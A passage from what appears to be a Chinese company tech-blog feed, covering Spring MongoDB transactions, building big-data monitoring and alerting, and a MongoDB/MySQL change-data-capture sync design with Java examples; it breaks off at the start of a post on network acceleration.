    public MongoTransactionManager transactionManager(MongoDatabaseFactory factory){
        return new MongoTransactionManager(factory);
    }
}
</code></pre>

<h6 id="3mongo">步骤3、修改mongo密码</h6>

<h1 id=""> </h1>

<p>由于spring.data.mongodb 2.1.15.RELEASE版本在数据库认证时，会先将密码进行URLDecoder.decode校验，因此mongo密码中的%号需要替换成%25。</p>

<p>验证流程可参考：
org.springframework.data.mongodb.config.MongoCredentialPropertyEditor.extractUserNameAndPassword <br>
spring.data.mongodb 1.10.15.RELEASE版本</p>

<p><img src="http://static.etouch.cn/imgs/upload/1762486567.8419.png" alt=""></p>

<p>spring.data.mongodb 2.1.15.RELEASE版本</p>

<p><img src="http://static.etouch.cn/imgs/upload/1762486617.0782.png" alt=""></p>

<h1 id=""> </h1>

<h3 id="">五、使用事务</h3>

<h1 id=""> </h1>

<h6 id="1">（1）声明式事务处理</h6>

<p>添加@Transactional（org.springframework.transaction.annotation.Transactional）注解，
代码示例如下</p>

<pre><code> @SuishenLog(logName = "添加策略")
    public StrategyVo addStrategy(StrategyAddReq addReq) {
        SuishenUser suishenUser = SecurityContextUtil.getSessionUser();
        long now = System.currentTimeMillis();
        Strategy strategy = Strategy.builder()
                .projectId(addReq.getProjectId())
                .strategyName(addReq.getStrategyName())
                .strategyDesc(addReq.getStrategyDesc())
                .status(addReq.getStatus())
                .createUser(suishenUser.getNickName())
                .createTime(now)
                .updateUser(suishenUser.getNickName())
                .updateTime(now)
                .build();
        strategy = strategyService.addStrategy(strategy);
        LogContext.instance().appendLog("操作人(%s)", suishenUser.getNickName())
                .appendLog("策略id(%s)", strategy.getId());
        // 测试代码
        if (Objects.nonNull(strategy)) {
            throw new BusinessException("添加策略失败");
        }
        StrategyLog strategyLog = StrategyLog.builder()
                .projectId(strategy.getProjectId())
                .strategyId(strategy.getId())
                .createUser(suishenUser.getNickName())
                .createTime(now)
                .updateUser(suishenUser.getNickName())
                .updateTime(now)
                .build();
        strategyLogService.addStrategyLog(strategyLog);
        return StrategyVo.buildVo(strategy);
    }

    @SuishenLog(logName = "添加策略事务")
    @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class)
    public StrategyVo addStrategyTest(StrategyAddReq addReq) {
         return addStrategy(addReq);
    }
</code></pre>

<h6 id="">事务传播行为：当事务方法被另一个事务方法调用时，必须指定事务应该如何传播</h6>

<p>Spring 定义了如下七种传播行为，这里以A业务和B业务之间如何传播事务为例说明：</p>

<ul>
<li>PROPAGATION_REQUIRED ：required , 必须。默认值，A如果有事务，B将使用该事务；如果A没有事务，B将创建一个新的事务。</li>
<li>PROPAGATION_SUPPORTS：supports ，支持。A如果有事务，B将使用该事务；如果A没有事务，B将以非事务执行。</li>
<li>PROPAGATION_MANDATORY：mandatory ，强制。A如果有事务，B将使用该事务；如果A没有事务，B将抛异常。</li>
<li>PROPAGATION<em>REQUIRES</em>NEW ：requires_new，必须新的。如果A有事务，将A的事务挂起，B创建一个新的事务；如果A没有事务，B创建一个新的事务。</li>
<li>PROPAGATION<em>NOT</em>SUPPORTED ：not_supported ,不支持。如果A有事务，将A的事务挂起，B将以非事务执行；如果A没有事务，B将以非事务执行。</li>
<li>PROPAGATION_NEVER ：never，从不。如果A有事务，B将抛异常；如果A没有事务，B将以非事务执行。</li>
<li>PROPAGATION_NESTED ：nested ，嵌套。A和B底层采用保存点机制，形成嵌套事务。</li>
</ul>

<h6 id="2">（2）编程式事务处理</h6>

<p>代码示例如下</p>

<pre><code>/**
 * 添加策略事务测试
 */
@SuishenLog(logName = "添加策略事务测试")
public StrategyVo addStrategyTest2(StrategyAddReq addReq) {
    // txTemplate可以和transactionManager进行相同的配置，而不需要每次new，本代码仅作为测试使用
    TransactionTemplate txTemplate = new TransactionTemplate(mongoTransactionManager);
    return txTemplate.execute(new TransactionCallback&lt;StrategyVo&gt;() {
        @Override
        public StrategyVo doInTransaction(TransactionStatus transactionStatus) {
            try {
                return addStrategy(addReq);
            } catch (Exception e) {
                transactionStatus.setRollbackOnly();
            }
            return null;
        }
    });
}
</code></pre>

<h6 id="3">（3）数据验证</h6>

<h1 id=""> </h1>

<ul>
<li>执行addStrategy，Strategy新增成功，StrategyLog新增失败</li>
<li>执行addStrategyTest，Strategy新增失败，StrategyLog新增失败</li>
<li>执行addStrategyTest2，Strategy新增失败，StrategyLog新增失败</li>
</ul>

<pre><code>org.springframework.transaction.UnexpectedRollbackException: Transaction rolled back because it has been marked as rollback-only  
    at org.springframework.transaction.support.AbstractPlatformTransactionManager.processRollback(AbstractPlatformTransactionManager.java:873)
    at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:710)
    at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:534)
</code></pre>

<h3 id="">作者介绍</h3>

<ul>
<li>孙景亮 资深服务端开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[大数据监控建设之道]]></title><description><![CDATA[<h1 id="1">1、为什么要做</h1>

<p>从谷歌2003年发布的三篇经典论文《The Google File System 》 、《MapReduce: Simplified Data Processing onLarge Clusters》 、《Bigtable: A Distributed Storage System for Structured Data》开启了大数据的时代，经过20年的蓬勃发展，大数据已经非常普及常用了。 <br>
考虑到大数据4V的特性，你很难说只用一个技术方案或者组件就能应对所有的场景和需求。所以大数据技术架构相对来说还是较为复杂的，其中还涉及到了很多分布式、高可用的机制。比如HDFS的namenode，那如果namenode没有做HA的情况下，出现服务异常终止的情况，基本上整个大数据集群就会宕掉，所有的服务基本都不可用了。这种情况是致命的，你的服务将彻底瘫痪并且无法快速恢复。 <br>
那为了保证大数据服务的稳定高可用，我们除了要对相关的服务或组件做HA设计，还需要有完善的监控告警方案，来及时发现当前大数据服务中的隐患和故障并进行消除，已确保当前大数据服务的SLA。 <br>
接下来我们就来展开讨论，本文是关于大数据监控告警建设的道而非术，我们会介绍从哪些方面去建设监控告警，而如何建设采用哪些技术方案你完全可以结合当前生产实际情况或者现有标准规范去实施。</p>

<h1 id="2">2、从哪些方面做</h1>

<p>在开始之前，我们有必要介绍下大数据的技术架构，这样有助于我们了解大数据的组成架构、</p>]]></description><link>https://tech.wekoi.cn/2024/06/28/da-shu-ju-jian-kong-jian-she-zhi-dao/</link><guid isPermaLink="false">d2ad55b6-bbae-43b9-803c-13ef514d401f</guid><category><![CDATA[大数据]]></category><category><![CDATA[监控]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Fri, 28 Jun 2024 03:20:26 GMT</pubDate><content:encoded><![CDATA[<h1 id="1">1、为什么要做</h1>

<p>从谷歌2003年发布的三篇经典论文《The Google File System 》 、《MapReduce: Simplified Data Processing onLarge Clusters》 、《Bigtable: A Distributed Storage System for Structured Data》开启了大数据的时代，经过20年的蓬勃发展，大数据已经非常普及常用了。 <br>
考虑到大数据4V的特性，你很难说只用一个技术方案或者组件就能应对所有的场景和需求。所以大数据技术架构相对来说还是较为复杂的，其中还涉及到了很多分布式、高可用的机制。比如HDFS的namenode，那如果namenode没有做HA的情况下，出现服务异常终止的情况，基本上整个大数据集群就会宕掉，所有的服务基本都不可用了。这种情况是致命的，你的服务将彻底瘫痪并且无法快速恢复。 <br>
那为了保证大数据服务的稳定高可用，我们除了要对相关的服务或组件做HA设计，还需要有完善的监控告警方案，来及时发现当前大数据服务中的隐患和故障并进行消除，已确保当前大数据服务的SLA。 <br>
接下来我们就来展开讨论，本文是关于大数据监控告警建设的道而非术，我们会介绍从哪些方面去建设监控告警，而如何建设采用哪些技术方案你完全可以结合当前生产实际情况或者现有标准规范去实施。</p>

<h1 id="2">2、从哪些方面做</h1>

<p>在开始之前，我们有必要介绍下大数据的技术架构，这样有助于我们了解大数据的组成架构、这样我们可以更好的切入去做监控的建设。
<img src="https://s3.bmp.ovh/imgs/2024/04/10/5ac10fb503e64129.jpg" alt="">
我们从下向上看，我们可以分层如下 <br>
1. 数据来源层：此层基本上是数仓的ODS层数据来源，如app/web的埋点日志，MySQL/mongodb中的业务数据，外部文件等等。基本分两类：一类是用户在app/web触发的相关行为日志，一般通过flume/logstash+Kafka的技术方案来收集，另一类就是业务数据了。我们在此层需要关注的就是收集到的行为日志的波动情况，由于业务DB无法直连，所以我们更多的是在数据集成链路和业务数据接入数仓ODS层后做相关的数据质量监控来监测业务数据波动情况。 <br>
2. 数据采集层：此层是将业务数据、埋点数据接入数仓的实现，我们当前使用的是FlinkCDC做业务数据实时集成，在此层可能需要关注的就是你的数据集成任务是否正常。 <br>
3. 数据存储层：此层基本是将收集到的业务数据、埋点数据放入大数据存储中，考虑到不同的数据存储需求，此层的数据存储可能会比较丰富不仅仅只有HDFS，此层需要关注的就是存储相关服务健康度以及你的存储使用情况。 <br>
4. 数据计算层：此层主要就是数据计算了，会有Flink实时处理&amp;离线批处理。此层需要关注的就是你的计算任务执行是否正常、执行是否超时、Flink任务是否异常终止、Flink任务ck是否正常等等。需要结合你的计算任务来梳理需要做哪些监控。 <br>
5. 调度引擎层：此层就是对你的计算任务做周期性调度了，同样会有Flink实时处理&amp;离线批处理。此层需要关注的就是你的调度服务健康度，以及任务的调度执行情况了。我们将任务的调度执行情况和数据计算层的监控一起来看，调度本身也是在做数据的计算执行。 <br>
6. 数据服务层：数据服务层基本上就是对外提供数据服务能力了，不同公司会有不同的数据服务能力输出方案。可以是grafana等数据可视化平台，也可能是对外API输出，或者是自建的BI平台等等。此层基本上关注你的数据服务能力是否正常，需要结合你的生产实际情况来看。</p>

<p>所以我们将其抽象如下：</p>

<h2 id="">大数据基座</h2>

<p>大数据基座基本就是集群相关服务了，包括但不限于HDFS、hive、yarn、spark等等，他们组合再一起共同构建起了大数据的地基，我们可以基于此在上层进行数据的存储、计算、分析等等一系列工作。
那么按照我们的经验来说，不管你是托管在第三方云厂商还是基于CDH或者HDP建设，其监控需要关注的点基本相同。主要如下 <br>
● 主机实例健康度 <br>
  ○ CPU <br>
  ○ 内存 <br>
  ○ 磁盘使用、磁盘读写 <br>
  ○ 网络 <br>
  ○ ...... <br>
   <img src="https://img.qovv.cn/2024/04/10/661667e6cb2eb.jpg" alt="" title=""> <br>
● 集群服务健康度 <br>
  ○ hive、hdfs、yarn等服务健康度，服务不可用，进程故障等 <br>
  ○ 各服务堆内存使用情况 <br>
  ○ yarn 任务挂起、yarn资源使用、yarn队列资源不足 <br>
  ○ hive sql执行成功率低 <br>
  ○ 进程重启、主备切换等关键事件 <br>
  ○ ...... <br>
  <img src="https://img.qovv.cn/2024/04/10/661667e6e6001.jpg" alt="" title=""></p>

<p>集群服务健康度相对来说要做的更多，我们具体到每个单独的组件可能都会有不同类型的监控，如hive的hms，hiveserver2，hive session等等，这里我们不再展开赘述，你可以参照各云厂商大数据集群的监控也可以参照各组件的官方文档。</p>

<h2 id="">数据集成</h2>

<p>首先可以看下我们的其中一部分的数据集成链路。这样有利于我们理解需要做哪些方面的监控。</p>

<h3 id="">行为埋点数据</h3>

<p>首先我们结合自己的实际业务情况指定了客户端埋点协议，埋点协议主要从用户信息、设备信息、事件信息、应用信息等几个大方面去定义一个完整的事件内容，这样全公司各APP产品都可以基于我们的埋点协议来去做全链路的上报、存储、统计分析等流程。 <br>
那么用户在APP触发点击浏览行为时，就会生成符合埋点协议的事件，然后收集nginx中的日志，通过logstash 向Kafka发送，因为我们的埋点相对来说还是比较大的，一天的增量约500GB，所以我们在这里用Kafka来做缓冲。 <br>
埋点日志进入到Kafka后，我们会用Flink来去做实时的ETL，将其写入Kudu数据加速层，做近实时的统计分析。 <br>
那么在此处你要考虑的监控就是整个日志收集链路的各个环节，包括但不限于 <br>
● logstash服务健康度 <br>
● Kafka服务健康度 <br>
● 埋点事件上报地址是否正常 <br>
● ..... <br>
即使你做了上述各环节的监控，也不能百分百保证埋点日志出问题能立刻发现。我们这边就遇到过两次其它类型的问题，其一是客户端埋点上报地址使用的域名被封禁了，其二是客户端埋点上报地址的http证书过期导致埋点无法正常上报。此时你的各个服务是正常的，但是埋点却报不上来了。所以我们还需要持续的对上报的埋点事件总量波动做监控，你可以结合你的实际业务情况，做分钟、小时、天粒度的各事件波动监控。这样就可以在埋点事件量出现大幅波动的情况下，迅速感知到。
下图是我们的一个示例：
<a href="https://img.picui.cn/free/2024/06/25/667a888a502b5.png"><img src="https://img.picui.cn/free/2024/06/25/667a888a502b5.png" alt="埋点波动2.png" title=""></a></p>

<p><a href="https://img.picui.cn/free/2024/06/25/667a888c67c5f.png"><img src="https://img.picui.cn/free/2024/06/25/667a888c67c5f.png" alt="埋点波动.png" title=""></a></p>

<h3 id="">业务数据</h3>

<p>由于大数据侧无法直连业务DB做一些精细化的监控。所以我们只能在数据集成的链路和进入ods层的数据层面做相关的监控告警了。 <br>
我们会用FlinkCDC来去做业务数据库的整库变更订阅。所以首先要关注的就是你的FlinkCDC任务的健康度，Flink 任务执行是否正常等。我们在下文中的计算实时部分再详细提及。 <br>
除此之外，在FlinkCDC将业务数据写入Kudu后，我们还会持续的关注业务数据最新的数据产生时间，这样在业务数据超过指定时间仍未有更新时及时发现。介入确认处理流程。 <br>
当然你也可以在你的FlinkCDC 任务中实现这个功能，具体的实现还是结合你的实际业务情况和规范来实施。 <br>
除了基于整库的全局监控外，在业务数据进入数仓的ODS层后，我们还会结合数据质量监控来做具体的业务表的数据监控，比如单表数据掉0或者单表数据波动异常的情况，这部分将在数据质量环节介绍，此处就不再赘述。  </p>

<h2 id="">存储</h2>

<h3 id="hdfs">HDFS</h3>

<p>如果你使用的是HDFS，那么从存储层面，我们需要监控关注的点如下： <br>
● DataNode磁盘故障：可能会导致已写入的文件丢失。 <br>
● 单副本的块数超过阈值：单副本的数据在节点故障时容易丢失，单副本的文件过多会对HDFS文件系统的安全性造成影响。 <br>
● 待补齐的块数超过阈值：HDFS可能会进入安全模式，无法提供写服务。丢失的块数据无法恢复。 <br>
● 数据目录配置不合理：数据磁盘挂载在根目录或其它关键目录下。对HDFS系统性能产生影响。 <br>
● HDFS文件数超过阈值：HDFS文件数过多，磁盘存储不足可能造成数据入库失败。对HDFS系统性能产生影响。 <br>
● 丢失的HDFS块数量超过阈值：HDFS存储数据丢失，HDFS可能会进入安全模式，无法提供写服务。丢失的块数据无法恢复。 <br>
● DataNode磁盘空间使用率超过阈值，会影响到HDFS的数据写入。 <br>
● HDFS磁盘空间使用率超过阈值，HDFS集群磁盘容量不足，会影响到HDFS的数据写入。 <br>
● ......</p>

<h3 id="">对象存储</h3>

<p>那如果你使用的是对象存储，那么恭喜你上述HDFS的相关监控项基本都不需要你去关注了，一切交给对象存储。
你可能需要关注如下几点： <br>
● 存储桶的使用情况 <br>
● 数据生命周期管理策略 <br>
● 安全审计，如AK/SK的保存修改 <br>
● ......</p>

<h2 id="">计算</h2>

<p>计算层面基本上关注的就是具体任务的执行情况了，我们针对实时、离线任务分开就行阐述。</p>

<h3 id="">实时</h3>

<p>Flink已经成为实时计算领域的事实标准，所以我们这里的实时主要针对Flink，实时任务需要关注的点如下： <br>
● 任务是否异常终止 <br>
● 任务重启次数 <br>
● Kafka消费是否延迟 <br>
● ck是否正常、耗时情况、失败数 <br>
● 是否有反压、倾斜 <br>
● job本身的资源使用情况 <br>
● sink端的执行时间是否超时 <br>
● 自定义指标打点收集 <br>
● ...... <br>
下图是我们的Flink任务监控的一个示例：
<img src="https://img.qovv.cn/2024/04/10/661668012cd51.jpg" alt="">
<img src="https://img.qovv.cn/2024/04/10/661667e6bd8d6.jpg" alt=""></p>

<p>关于Flink任务的监控，可以结合Flink metrics来去更细粒度的进行制定。</p>

<h3 id="">离线</h3>

<p>离线任务主要为批处理任务，批处理任务相对简单，无非成功或失败或者超时，所以我们主要关注如下几点： <br>
● 任务异常终止 <br>
● 任务执行超时 <br>
● 任务平均执行时间(超时优化) <br>
● 长尾任务 <br>
● 占用资源过多任务 <br>
● ...... <br>
<img src="https://img.qovv.cn/2024/04/10/661667e6e00b9.jpg" alt=""></p>

<h2 id="">调度</h2>

<p>调度服务相对来说简单，在保证HA的前提上，关注你的调度服务是否异常即可。如dolphinscheduler，我们要关注 <br>
● master节点状态 <br>
● worker节点状态 <br>
● 节点相关负载 <br>
<img src="https://img.qovv.cn/2024/04/10/661667e6d1f7d.jpg" alt=""></p>

<h2 id="">数据服务</h2>

<p>数据服务是对外提供的数据能力，这也是大数据直接展现价值的载体。所以数据服务相关的监控需要格外重视。
我们需要关注如下： <br>
● 数据服务是否正常，如grafana能否正常访问，API服务是否能够正常调用 <br>
● 提供的数据是否准确，数据是否缺失等（我们将在数据质量环节详细阐述） <br>
● 服务响应时间，如页面加载时间、API调用时间 <br>
● ......</p>

<h2 id="">数据质量</h2>

<p>数据质量监控会相对复杂，但是它是必须要做的，错误的数据将会直接影响业务的相关决策判断。 <br>
根据DAMA制定的数据标准管理办法，我们需要从如下角度进行数据质量监控 <br>
1. 完整性：数据完整性问题包括：模型设计不完整，例如：唯一性约束不完整、参照不完整；数据条目不完整，例如：数据记录丢失或不可用；数据属性不完整，例如：数据属性空值。 <br>
2. 准确性：准确性也叫可靠性，是用于分析和识别哪些是不准确的或无效的数据，不可靠的数据可能会导致严重的问题，会造成有缺陷的方法和糟糕的决策。 <br>
3. 时效性：时效性用来衡量能否在需要的时候获到数据，数据的及时性与企业的数据处理速度及效率有直接的关系，是影响业务处理和管理效率的关键指标。 <br>
4. 唯一性：用于识别和度量重复数据、冗余数据。重复数据是导致业务无法协同、流程无法追溯的重要因素，也是数据治理需要解决的最基本的数据问题。例如：业务主键id重复。 <br>
5. 数据一致性：多源数据的数据模型不一致，例如：命名不一致、数据结构不一致、约束规则不一致。数据实体不一致，例如：数据编码不一致、命名及含义不一致、分类层次不一致、生命周期不一致……。相同的数据有多个副本的情况下的数据不一致、数据内容冲突的问题。</p>

<p>在此基础上，我们需要对各种类型进行细粒度的划分。</p>

<h1 id="3">3、总结和经验</h1>

<ol>
<li>使用邮件组或者订阅的方式进行告警通知，以免人员变动情况下相关的告警通知对象变更。  </li>
<li>重要告警集成睿象云，进行短信和电话告警，以免非工作日时间告警接受处理延迟。  </li>
<li>监控不需要追求大而全，而是按照更要程度及SLA进行建设。  </li>
<li>可能受影响的相关方必须订阅相关监控告警通知，以免A方以为此告警不重要，但是对B方很重要，甚至会影响业务。  </li>
<li>监控、告警、处理要有完整的流程闭环及知识沉淀，形成监控告警处理知识库。</li>
</ol>

<h1 id="4">4、参考文档</h1>

<p><a href="https://www.infoq.cn/article/XudrcZEUFhPJR7kfYNur">https://www.infoq.cn/article/XudrcZEUFhPJR7kfYNur</a> <br>
<a href="https://juejin.cn/post/6967234979847733279">https://juejin.cn/post/6967234979847733279</a> <br>
<a href="https://support.huaweicloud.com/intl/zh-cn/usermanual-mrs/alm_13000.html">https://support.huaweicloud.com/intl/zh-cn/usermanual-mrs/alm_13000.html</a> <br>
<a href="https://zhuanlan.zhihu.com/p/208935690">https://zhuanlan.zhihu.com/p/208935690</a></p>

<h3 id="">作者介绍</h3>

<ul>
<li>冯成杨 资深大数据开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[数据库同步实践（suishen-cdc）]]></title><description><![CDATA[<h2 id="">一、需求背景</h2>

<p>需要将业务数据库的数据，向数仓同步，目前包括两种数据库：mongo、mysql。</p>

<h2 id="">二、总体实现方案</h2>

<h3 id="1">1、总体流程</h3>

<p><img src="https://tech.wekoi.cn/content/images/2024/05/images_CDC---.jpg" alt="alt"></p>

<ul>
<li>a、定时任务，加载数据库事件偏移信息，统一监听数据库变更事件；</li>
<li>b、本地缓存收集事件变更信息（一定的数据量、一定的收集时间）；</li>
<li>c、收集达到阈值后，向消息队列发送消息；</li>
<li>d、发送消息成功后，使用redis记录最后一条消息的偏移信息；</li>
<li>e、消息队列批量读取事件，批量向数仓同步数据。</li>
</ul>

<h3 id="2mongo">2、mongo实现方案</h3>

<p>mongo-java-driver库，提供了Change Streams API来监听和获取实时变更（change）事件。通过Change Streams，可以监视集合中的插入、更新和删除等操作，并对这些变更事件做出响应。  </p>

<pre><code>@Test
public void tst() {  
    // 获取指定数据库连接
    MongoDatabase database = mongoTemplate.getDb(</code></pre>]]></description><link>https://tech.wekoi.cn/2024/05/27/shu-ju-ku-tong-bu-shi-jian-suishen-cdc/</link><guid isPermaLink="false">f268388a-7156-41ce-8c3f-34be2f010d2b</guid><category><![CDATA[后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Mon, 27 May 2024 09:12:21 GMT</pubDate><content:encoded><![CDATA[<h2 id="">一、需求背景</h2>

<p>需要将业务数据库的数据，向数仓同步，目前包括两种数据库：mongo、mysql。</p>

<h2 id="">二、总体实现方案</h2>

<h3 id="1">1、总体流程</h3>

<p><img src="https://tech.wekoi.cn/content/images/2024/05/images_CDC---.jpg" alt="alt"></p>

<ul>
<li>a、定时任务，加载数据库事件偏移信息，统一监听数据库变更事件；</li>
<li>b、本地缓存收集事件变更信息（一定的数据量、一定的收集时间）；</li>
<li>c、收集达到阈值后，向消息队列发送消息；</li>
<li>d、发送消息成功后，使用redis记录最后一条消息的偏移信息；</li>
<li>e、消息队列批量读取事件，批量向数仓同步数据。</li>
</ul>

<h3 id="2mongo">2、mongo实现方案</h3>

<p>mongo-java-driver库，提供了Change Streams API来监听和获取实时变更（change）事件。通过Change Streams，可以监视集合中的插入、更新和删除等操作，并对这些变更事件做出响应。  </p>

<pre><code>@Test
public void tst() {  
    // 获取指定数据库连接
    MongoDatabase database = mongoTemplate.getDb().getMongoClient().getDatabase("database");
    // 过滤需要监听的表
    Document matchStage = new Document("$match", new Document("ns.coll", new Document("$in",
            Arrays.asList("colletion", "label"))));
    // 开启监听
    ChangeStreamIterable&lt;Document&gt; changeStream = database
            .watch(Arrays.asList(matchStage)).fullDocument(FullDocument.UPDATE_LOOKUP)
            // 设置事件偏移信息
            .resumeAfter(BsonDocument.parse("{\"_data\": \"8265AB99800000000129295A10048EBDB1DB4C23440CAD9BD906E9098378463C5F6964003C3134313334000004\"}"));

    for (ChangeStreamDocument&lt;Document&gt; document : changeStream) {
        // 根据操作类型进行相应的操作
        if (document.getOperationType() == OperationType.INSERT) {
            // 处理插入操作
            System.out.println(JSON.toJSONString(document.getFullDocument()));
        } else if (document.getOperationType() == OperationType.UPDATE) {
            // 处理更新操作
            System.out.println(JSON.toJSONString(document.getFullDocument()));
        } else if (document.getOperationType() == OperationType.DELETE) {
            // 处理删除操作
            System.out.println(JSON.toJSONString(document.getDocumentKey()));
        }
        // 获取偏移信息
        BsonDocument resumeToken = document.getResumeToken();

        System.out.println(resumeToken.toJson());
    }
}
</code></pre>

<p><strong>注意点</strong></p>

<ul>
<li>mongo的changeStream支持订阅指定某些表，但是如果后续要新增监听的表，会导致就的偏移信息不可用，所以建议监听整个库，由业务对不需要处理的表过滤；</li>
<li>一些表存在过期索引，对于这种数据库自动过期的数据变更是否需要处理，业务也要自行处理。</li>
<li>对于偏移的更新，除了业务关心的数据变更事件以外，其余的事件也需要及时的更新偏移信息，避免重启后读取的数据量过大。</li>
</ul>

<p>3、mysql实现方案</p>

<p>mysql-binlog-connector-java库可以连接到MySQL服务器并订阅binlog事件，监听和解析MySQL的二进制日志（binlog）。  </p>

<pre><code>public void tst() throws InterruptedException, IOException {  
    // 连接mysql
    BinaryLogClient client = new BinaryLogClient("127.0.0.1", 3306,
            "root", "password");
    // 设置偏移信息
    client.setBinlogFilename("mysql-bin.062888");
    client.setBinlogPosition(6080);

    client.registerEventListener(event -&gt; {
        System.out.println(JSON.toJSONString(event));
        EventData data = event.getData();
        if (data instanceof WriteRowsEventData) {
            WriteRowsEventData writeRowsEventData = (WriteRowsEventData) data;
            System.out.println("Insert operation: " + JSON.toJSONString(writeRowsEventData.getRows()));
            // TODO: 处理插入操作
        } else if (data instanceof UpdateRowsEventData) {
            UpdateRowsEventData updateRowsEventData = (UpdateRowsEventData) data;
            System.out.println("Update operation: " + JSON.toJSONString(updateRowsEventData.getRows()));

            // TODO: 处理更新操作
        } else if (data instanceof DeleteRowsEventData) {
            DeleteRowsEventData deleteRowsEventData = (DeleteRowsEventData) data;
            System.out.println("Delete operation: " + JSON.toJSONString(deleteRowsEventData.getRows()));
            // TODO: 处理删除操作
        } else if (event.getHeader().getEventType() == EventType.TABLE_MAP) {
            // 处理表信息
            TableMapEventData eventData = event.getData();
            System.out.println("Database name: " + eventData.getDatabase());
            System.out.println("Table name: " + eventData.getTable());
        }
        long binlogPosition = client.getBinlogPosition();
        System.out.println(client.getBinlogFilename());
        System.out.println(binlogPosition);
    });

    client.connect();

}
</code></pre>

<p><strong>注意点</strong> </p>

<ul>
<li>对同一数据库监听时，尽量指定serverId，一个serverId同一时间只能有一个客户端监听；</li>
<li>无法单独订阅某一个库、某一个表和某一个事件，需要在handle处理中自行过滤；</li>
<li>单独的事件中不包含语句所执行的库和表信息，只有一个tableId，需要监听TABLE_MAP事件，缓存tableId和具体表的映射，在具体的执行语句中通过此映射找到具体的表信息；</li>
<li>mysql对binlog有定期清理策略，需要注意binlog的缓存时间，避免重启时无法找到对应的binlog文件；</li>
<li>对于偏移的处理，除了业务关心的数据变更事件以外，其余的事件也需要及时的更新偏移信息，避免重启后读取的数据量过大。</li>
<li>注意mysql用户权限CREATE USER 'userxxx'@'%' IDENTIFIED BY 'Qwe123!!!';
GRANT SELECT, SHOW DATABASES, REPLICATION SLAVE, REPLICATION CLIENT ON . TO 'userxxx' IDENTIFIED BY 'Qwe123!!!'; <br>
FLUSH PRIVILEGES;</li>
</ul>

<h2 id="suishencdchttpsgitlabetouchcnweli_contentsuishencdc">三、<a href="https://gitlab.etouch.cn/weli_content/suishen-cdc">suishen-cdc核心实现</a></h2>

<h4 id="cdcdatadeque">CdcDataDeque 事件本地缓存队列</h4>

<p>这是一个线程安全的单向链表，提供的添加节点、查询头节点及重置头节点方法。</p>

<h4 id="offsetstorage">OffsetStorage 偏移量存储器</h4>

<p>用户保存和读取数据库的偏移信息，默认提供了基于redis保存的RedisOffsetStorage存储器</p>

<h4 id="dataprocessor">DataProcessor 事件处理器</h4>

<p>默认提供了基于suishen-queue消息队列的SuishenQueueDataProcessor实现。</p>

<p>当使用queue消息队列的SuishenQueueDataProcessor时，可以通过实现CdcDataOperator完成对具体的队列事件消费，默认提供了WeryaiCdcDataOperator向weryAi服务同步。</p>

<h4 id="abstractsynchronizer">AbstractSynchronizer 数据库同步器</h4>

<ul>
<li>继承Runnalbe接口，用于启动具体的监听任务；</li>
<li>继承DisposableBean接口，用户停止监听任务；</li>
<li>通过定时任务，指定时间内批量处理事件。</li>
<li>当前提供了mongo同步的MongoSynchronizer同步器和mysql同步的MysqlSynchronizer同步器实现</li>
</ul>

<pre><code>public abstract class AbstractSynchronizer implements Runnable, DisposableBean {  
    // 本地缓存队列
    private final CdcDataDeque&lt;CdcData&gt; queue = new CdcDataDeque&lt;&gt;();
    // 偏移量存储器
    protected final OffsetStorage offsetStorage;
    // 事件处理器
    protected final DataProcessor dataProcessor;

    protected AbstractSynchronizer(OffsetStorage offsetStorage, DataProcessor dataProcessor) {
        this.offsetStorage = offsetStorage;
        this.dataProcessor = dataProcessor;
    }

    protected void handler(CdcData data) {
        log.info("cdc AbstractSynchronizer:{}", JSON.toJSONString(data));
        queue.put(data);
    }

    protected void handler(String offset) {
        if (StringUtils.isEmpty(offset)) {
            return;
        }
        log.info("cdc AbstractSynchronizer offset:{}", offset);
        queue.put(new CdcData().setOffset(offset));
    }

    /**
     * 定时任务，每5s消费一次
     */
    @PostConstruct
    public void consume() {
        ThreadPoolTaskScheduler scheduledThreadPoolExecutor = new ThreadPoolTaskScheduler();
        scheduledThreadPoolExecutor.setPoolSize(2);
        scheduledThreadPoolExecutor.initialize();

        scheduledThreadPoolExecutor.execute(this);
        scheduledThreadPoolExecutor.scheduleWithFixedDelay(() -&gt; {
            CdcDataDeque.Node&lt;CdcData&gt; first = queue.get();
            if (first == null) {
                return;
            }
            String offset;
            List&lt;CdcData&gt; list = Lists.newArrayList(first.getItem());
            while (true) {
                CdcDataDeque.Node&lt;CdcData&gt; next = first.getNext();
                if (Objects.isNull(next)) {
                    break;
                }
                CdcData item = next.getItem();
                if (StringUtils.isNotEmpty(item.getId())) {
                    list.add(item);
                }
                offset = item.getOffset();
                // 限制一次性处理数据量
                if (list.size() &gt;= 90) {
                    // 发送数据
                    dataProcessor.handle(list);
                    // 保存偏移
                    offsetStorage.setOffset(offset);
                    // 重置头节点
                    queue.resetFirst(next);
                    list = Lists.newArrayList();
                }
                first = next;
            }
            if (CollectionUtils.isNotEmpty(list)) {
                // 发送数据
                dataProcessor.handle(list);
            }
            // 保存偏移
            offsetStorage.setOffset(first.getItem().getOffset());
            // 重置头节点
            queue.resetFirst(first);
            // 释放对象
            list = null;
            first = null;
        }, 5000);
    }
}
</code></pre>

<h3 id="">作者介绍</h3>

<ul>
<li>郑亚腾 资深服务端开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[网站加速之网络加速]]></title><description><![CDATA[<h4 id="">背景</h4>

<p><img src="https://wtc-blog-file.wekoi.cn/freed/20240229113331.png" alt="20240229113331" title=""> <br>
如上图，互联网企业的国内业务肯定部署在国内，出海业务则一般部署在海外；具体部署区域，则一般根据用户所在区域，选择就近的区域。  </p>

<p>源站部署到不同区域，选择不同的机房，对于各地用户来说，会带来网络距离及网络线路质量的差异，从而对用户的访问响应时间也会产生一定差异。  </p>

<p>网络距离长及网络线路质量差，则会给用户带来比较差的体验，具体情况概括如下：   </p>

<ul>
<li>用户访问国内源站遇到的情况：
<ul><li>内容分类：
<ol><li>静态内容访问慢，因为静态内容相对动态api接口请求的响应大小，一般大很多；
<ul><li>静态内容包括：静态网页（html、css、js、图片）、大文件、点播；</li></ul></li>
